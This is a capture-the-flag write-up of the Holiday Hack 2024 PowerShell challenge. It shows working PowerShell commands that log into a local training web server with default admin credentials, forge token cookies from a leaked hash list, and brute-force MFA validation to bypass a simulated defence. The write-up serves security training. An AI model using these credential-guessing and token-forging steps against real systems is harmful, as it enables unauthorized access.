Holiday Hack 2024: PowerShell
Introduction
On Wombley’s side of the Front Yard at the top I’ll find Piney Sappington next to a snowball trebuchet and the PowerShell terminal:
Piney has managed to lock himself out of two functions for the snowball weaponry, and is asking me to help:
Piney Sappington
Hey there, friend! Piney Sappington here.
You’ve probably heard the latest—things are getting tense around here with all the faction business between Wombley and Alabaster. But, let’s focus on this PowerShell Terminal for now.
This is the remote access for our snowball weaponry. We programmed some defense mechanisms to deter intruders, but the system is in a faulty lockdown state.
I certainly wasn’t the one that programmed the mechanism. Nope not me. But can you help me find a way through it so I can regain access?
There’s two functions I need access to. The snow cannon terminal, which should be easier. And the snow cannon production and deployment plans. That one’s better defended.
Still, I’ve got faith in you. We need every advantage we can get right now, and you might be just the one to tip the balance.
So, think you can do it? Are you ready to show what you’ve got?
PowerShell
Challenge
The terminal offers a shell in a tmux session with instructions in the top payne and a terminal in the bottom:
Video Solution
I’ll solve the full challenge in detail with explanations and some tangents in this video:
The commands to solve are below.
Silver
-
There is a file in the current directory called ‘welcome.txt’. Read the contents of this file
PS /home/user> get-content welcome.txt System Overview The Elf Weaponry Multi-Factor Authentication (MFA) system safeguards access to a classified armory containing elf weapons. This high-security system is equipped with advanced defense mechanisms, including canaries, retinal scanner and keystroke analyzing, to prevent unauthorized access. In the event of suspicious activity, the system automatically initiates a lockdown, restricting all access until manual override by authorized personnel. Lockdown Protocols When the system enters lockdown mode, all access to the armory is frozen. This includes both entry to and interaction with the weaponry storage. The defense mechanisms become active, deploying logical barriers to prohibit unauthorized access. During this state, users cannot disable the system without the intervention of an authorized administrator. The system logs all access attempts and alerts central command when lockdown is triggered. Access and System Restoration To restore access to the system, users must follow strict procedures. First, authorized personnel must identify the scrambled endpoint. Next, they must deactivate the defense mechanisms by entering the override code and presenting the required token. After verification, the system will resume standard operation, and access to weaponry is reactivated.
-
Geez that sounds ominous, I’m sure we can get past the defense mechanisms. We should warm up our PowerShell skills. How many words are there in the file?
PS /home/user> (Get-Content welcome.txt | Measure-Object -Word).Words 180
-
There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?
PS /home/user> netstat -ano Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 127.0.0.1:1225 0.0.0.0:* LISTEN off (0.00/0/0) tcp6 0 0 172.17.0.3:54094 52.179.73.59:443 ESTABLISHED off (0.00/0/0) Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 2 [ ACC ] STREAM LISTENING 342510919 /tmp/tmux-1050/default unix 2 [ ACC ] STREAM LISTENING 342692215 /tmp/dotnet-diagnostic-743-43822386-socket unix 2 [ ACC ] STREAM LISTENING 342693201 /tmp/CoreFxPipe_PSHost.DB3AD315.743.None.pwsh unix 3 [ ] STREAM CONNECTED 342513336 unix 3 [ ] STREAM CONNECTED 342514053 /tmp/tmux-1050/default
-
You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get?
PS /home/user> Invoke-WebRequest http://localhost:1225 Invoke-WebRequest: Response status code does not indicate success: 401 (UNAUTHORIZED).
-
It looks like defensive measures are in place, it is protected by basic authentication. Try authenticating with a standard admin username and password.
PS /home/user> $cred = Get-Credential PowerShell credential request Enter your credentials. User: admin Password for user admin: ***** PS /home/user> Invoke-WebRequest http://localhost:1225 -Credential $cred -AllowUnencryptedAuthentication StatusCode : 200 StatusDescription : OK Content : <html> <body> <pre> ---------------------------------------------------- 🪖 Elf MFA webserver🪖 ⚔️ Grab your tokens for access to weaponry ⚔️ ⚔️ Warning! Sensitive information on the server, protect a… RawContent : HTTP/1.1 200 OK Server: Werkzeug/3.0.6 Server: Python/3.10.12 Date: Tue, 19 Nov 2024 22:41:26 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 3475 <html> <body> <pre> ---… Headers : {[Server, System.String[]], [Date, System.String[]], [Connection, System.S tring[]], [Content-Type, System.String[]]…} Images : {} InputFields : {} Links : {@{outerHTML=<a href="http://localhost:1225/endpoints/1">Endpoint 1</a>; t agName=A; href=http://localhost:1225/endpoints/1}, @{outerHTML=<a href="ht tp://localhost:1225/endpoints/2">Endpoint 2</a>; tagName=A; href=http://lo calhost:1225/endpoints/2}, @{outerHTML=<a href="http://localhost:1225/endp oints/3">Endpoint 3</a>; tagName=A; href=http://localhost:1225/endpoints/3 }, @{outerHTML=<a href="http://localhost:1225/endpoints/4">Endpoint 4</a>; tagName=A; href=http://localhost:1225/endpoints/4}…} RawContentLength : 3475 RelationLink : {}
-
There are too many endpoints here. Use a loop to download the contents of each page. What page has 138 words? When you find it, communicate with the URL and print the contents to the terminal.
PS /home/user> (Invoke-WebRequest http://localhost:1225 -Credential $cred -AllowUnencryptedAuthentication).Links.href | ForEach-Object { $page = Invoke-WebRequest -Uri $_; if (($page | Measure-Object -Word).Words -eq 138) { $page.content; break}} <html><head><title>MFA token scrambler</title></head><body><p>Yuletide cheer fills the air,<br> A season of love, of care.<br> The world is bright, full of light,<br> As we celebrate this special night.<br> The tree is trimmed, the stockings hung,<br> Carols are sung, bells are rung.<br> Families gather, friends unite,<br> In the glow of the fire’s light.<br> The air is filled with joy and peace,<br> As worries and cares find release.<br> Yuletide cheer, a gift so dear,<br> Brings warmth and love to all near.<br> May we carry it in our hearts,<br> As the season ends, as it starts.<br> Yuletide cheer, a time to share,<br> The love, the joy, the care.<br> May it guide us through the year,<br> In every laugh, in every tear.<br> Yuletide cheer, a beacon bright,<br> Guides us through the winter night </p><p> Note to self, remember to remove temp csvfile at http://127.0.0.1:1225/token_overview.csv</p></body></html>
-
There seems to be a csv file in the comments of that page. That could be valuable, read the contents of that csv-file!
PS /home/user> (Invoke-WebRequest http://localhost:1225/token_overview.csv -Credential $cred -AllowUnencryptedAuthentication).Content file_MD5hash,Sha256(file_MD5hash) 04886164e5140175bafe599b7f1cacc8,REDACTED 664f52463ef97bcd1729d6de1028e41e,REDACTED 3e03cd0f3d335c6fb50122553f63ef78,REDACTED f2aeb18f5b3f08420eed9b548b6058c3,REDACTED 32b9401a6d972f8c1a98de145629ea9d,REDACTED 3a79238df0a92ab0afa44a85f914fc3b,REDACTED 49c2a68b21b9982aa9fd64cf0fd79f72,REDACTED f8142c1304efb9b7e9a7f57363c2d286,REDACTED 706457f6dd78729a8bed5bae1efaeb50,REDACTED bb0564aa5785045937a35a9fa3fbbc73,REDACTED 4173a7bc22aee35c5fc48261b041d064,REDACTED 198b8bf2cd30a7c7fed464cca1720a88,REDACTED 3a7c8ecffeeadb164c31559f8f24a1e7,REDACTED 288e60e318d9ad7d70d743a614442ffc,REDACTED 87ab4cb29649807fdb716ac85cf560ea,REDACTED 89f3ec1275407c9526a645602d56e799,REDACTED 33539252b40b5c244b09aee8a57adbc9,REDACTED 152899789a191d9e9150a1e3a5513b7f,REDACTED 7cd48566f118a02f300cdfa75dee7863,REDACTED d798a55fca64118cea2df3c120f67569,REDACTED 6ef5570cd43a3ec9f43c57f662201e55,REDACTED bf189d47c3175ada98af398669e3cac3,REDACTED 743ac25389a0b430dd9f8e72b2ec9d7f,REDACTED 270aabd5feaaf40185f2effa9fa2cd6e,REDACTED 8b58850ee66bd2ab7dd2f5f850c855f8,REDACTED 6fd00cbda10079b1d55283a88680d075,REDACTED 612001dd92369a7750c763963bc327f0,REDACTED 010f2cc580f74521c86215b7374eead6,REDACTED 29860c67296d808bc6506175a8cbb422,REDACTED 7b7f6891b6b6ab46fe2e85651db8205f,REDACTED 45ffb41c4e458d08a8b08beeec2b4652,REDACTED d0e6bfb6a4e6531a0c71225f0a3d908d,REDACTED bd7efda0cb3c6d15dd896755003c635c,REDACTED 5be8911ced448dbb6f0bd5a24cc36935,REDACTED 1acbfea6a2dad66eb074b17459f8c5b6,REDACTED 0f262d0003bd696550744fd43cd5b520,REDACTED 8cac896f624576d825564bb30c7250eb,REDACTED 8ef6d2e12a58d7ec521a56f25e624b80,REDACTED b4959370a4c484c10a1ecc53b1b56a7d,REDACTED 38bdd7748a70529e9beb04b95c09195d,REDACTED 8d4366f08c013f5c0c587b8508b48b15,REDACTED 67566692ca644ddf9c1344415972fba8,REDACTED 8fbf4152f89b7e309e89b9f7080c7230,REDACTED 936f4db24a290032c954073b3913f444,REDACTED c44d8d6b03dcd4b6bf7cb53db4afdca6,REDACTED cb722d0b55805cd6feffc22a9f68177d,REDACTED 724d494386f8ef9141da991926b14f9b,REDACTED 67c7aef0d5d3e97ad2488babd2f4c749,REDACTED 5f8dd236f862f4507835b0e418907ffc,4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C # [*] SYSTEMLOG # [*] Defence mechanisms activated, REDACTING endpoints, starting with sensitive endpoints # [-] ERROR, memory corruption, not all endpoints have been REDACTED # [*] Verification endpoint still active # [*] http://127.0.0.1:1225/tokens/<sha256sum> # [*] Contact system administrator to unlock panic mode # [*] Site functionality at minimum to keep weapons active
-
Luckily the defense mechanisms were faulty! There seems to be one api-endpoint that still isn’t redacted! Communicate with that endpoint!
PS /home/user> (Invoke-WebRequest http://localhost:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $cred -AllowUnencryptedAuthentication).Content <h1>[!] ERROR: Missing Cookie 'token'</h1>
-
It looks like it requires a cookie token, set the cookie and try again.
PS /home/user> $webSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession PS /home/user> $webSession.Cookies.Add((New-Object System.Net.Cookie("token", "5f8dd236f862f4507835b0e418907ffc", "/", "localhost"))) PS /home/user> (Invoke-WebRequest http://localhost:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $cred -AllowUnencryptedAuthentication -WebSession $webSession).rawcontent HTTP/1.1 200 OK Server: Werkzeug/3.0.6 Server: Python/3.10.12 Date: Wed, 20 Nov 2024 03:27:27 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 149 <h1>Cookie 'mfa_code', use it at <a href='1732073247.5962625'>/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C</a></h1>
-
Sweet we got a MFA token! We might be able to get access to the system. Validate that token at the endpoint!
PS /home/user> (Invoke-WebRequest http://localhost:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $cred -AllowUnencryptedAuthentication -WebSession $webSession).Content -match "href='([^']+)'" | Out-Null; $code = $matches[1]; $code; $webSession.Cookies.Add((New-Object System.Net.Cookie("mfa_token", $code, "/", "localhost"))); (Invoke-WebRequest http://localhost:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $cred -AllowUnencryptedAuthentication -WebSession $webSession).rawcontent 1732074687.671939 HTTP/1.1 200 OK Server: Werkzeug/3.0.6 Server: Python/3.10.12 Date: Wed, 20 Nov 2024 03:51:27 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 227 <h1>[+] Success</h1><br><p>Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==</p>
-
That looks like base64! Decode it so we can get the final secret!
PS /home/user> [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==")) Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction
Challenge for Gold
Piney indicates there’s more work to do:
Piney Sappington
Fantastic work! You’ve navigated PowerShell’s tricky waters and retrieved the codeword—just what we need in these uncertain times. You’re proving yourself a real asset!
I’ll let you in on a little secret—there’s a way to bypass the usual path and write your own PowerShell script to complete the challenge. Think you’re up for it? I know you are!
Well done! you’ve demonstrated solid PowerShell skills and completed the challenge, giving us a bit of an edge. Your persistence and mastery are exactly what we need—keep up the great work!
Gold
I’ll write a loop to get all the SHA256 hashes, and try to activate each one ten times to get around the “EDR”:
PS /home/user> (Invoke-WebRequest http://localhost:1225/token_overview.csv -Credential $cred -AllowUnencryptedAuthentication).Content -split "`n" | ForEach-Object { ($_ -split ',')[0] } | Where-Object { $_ -match '^[a-fA-F0-9]{32}$' } | ForEach-Object { $token = $_; $hash = (-join ([System.Security.Cryptography.SHA256]::Create().ComputeHash([System.Text.Encoding]::UTF8.GetBytes($_ + "`n")) | ForEach-Object { "{0:x2}" -f $_ })); $websession.Cookies.Add((New-Object System.Net.Cookie("token", $token, "/", "localhost"))); $resp = (Invoke-WebRequest "http://localhost:1225/tokens/$hash" -Credential $cred -AllowUnencryptedAuthentication -WebSession $websession); $resp.content -match "href='([^']+)'" | Out-Null; $code = $matches[1]; $webSession.Cookies.Add((New-Object System.Net.Cookie("mfa_token", $code, "/", "localhost"))); for ($i=0; $i -lt 10; $i++){ $validate_resp = Invoke-WebRequest "http://localhost:1225/mfa_validate/$hash" -Credential $cred -AllowUnencryptedAuthentication -WebSession $webSession; if ($validate_resp.Content -notmatch "Error: Access Denied") { $validate_resp.Content; break 2 }} }
<h1>[+] Success, defense mechanisms deactivated.</h1><br>Administrator Token supplied, You are able to control the production and deployment of the snow cannons. May the best elves win: WombleysProductionLineShallPrevail</p>
Outro
Piney is overjoyed with my success:
Piney Sappington
Incredible! You tackled the hard path and showed off some serious PowerShell expertise. This kind of skill is exactly what we need, especially with things heating up between the factions.
Well done! you’ve demonstrated solid PowerShell skills and completed the challenge, giving us a bit of an edge. Your persistence and mastery are exactly what we need—keep up the great work!
Alabaster got the intel:
Alabaster Snowball
They have what? A snow cannon, turret and trebuchet!? Oh this is bad, very bad. They must be planning a massive snowball offensive!
What are we to do? We don’t have the proper defenses for those. Gaahhh I wish I was better with tech and engineering…
Wombley is happy about this as well:
Wombley Cube
You have my gratitude for assisting Piney with his PowerShell problem. Now we can get our snow shooters tested and operational.
Piney! We need those snowarms ready for battle. Commence testing and field certification. That’s an order!